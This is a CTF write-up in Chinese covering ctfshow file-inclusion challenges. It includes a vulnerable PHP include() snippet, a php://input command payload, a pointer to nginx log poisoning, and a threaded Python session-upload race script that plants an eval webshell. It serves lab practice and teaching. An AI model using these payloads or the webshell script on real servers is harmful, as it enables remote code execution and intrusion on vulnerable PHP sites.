CTFLOG-文件包含 ctfshow

文件包含 ctfshow

web78:

示例代码

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

直接使用一手php://input获取到flag

<?php system("sort flag.php");?>

 

web79-80:

同上即可

 

web81:

使用日志包含

/var/log/nginx/access.log

 

 

 

web82:

这题题目给的环境是条件竞争

方法一 | 借助Burp Suite

可以在本地写一个上传页面,然后抓包添加Cookie: PHPSESSID=AndyNoel,再用BurpSuite爆破

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

一边不断发包请求包含恶意的session,一边不断发包以维持恶意session存储。这样就可以利用条件竞争把恶意内容留在session里面了。

利用session进行文件包含从而取到flag

import requests
import threading
import io

url = "https://4d71eafd-5a17-45ab-92dd-16915645a055.challenge.ctf.show/"
sessID = 'rikka'
data = {
    "1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的内容
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                               # 改参数的值就是/tmp/sess_rikka文件的内容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('rikka.png', fileBytes)
                           }
                           )


def read(session):
    while True:
        res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url + '1.php')
        if res2.status_code == 200:
            print("+++done+++")
        else:
            print(res2.status_code)


if __name__ == '__main__':
    event = threading.Event()  # 开启多线程的对象
    with requests.session() as session:
        for i in range(5):  # 开5个线程
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

        event.set()  # 唤醒线程

 

 

 

123

 

 

发表回复

电子邮件地址不会被公开。必填项已用 * 标注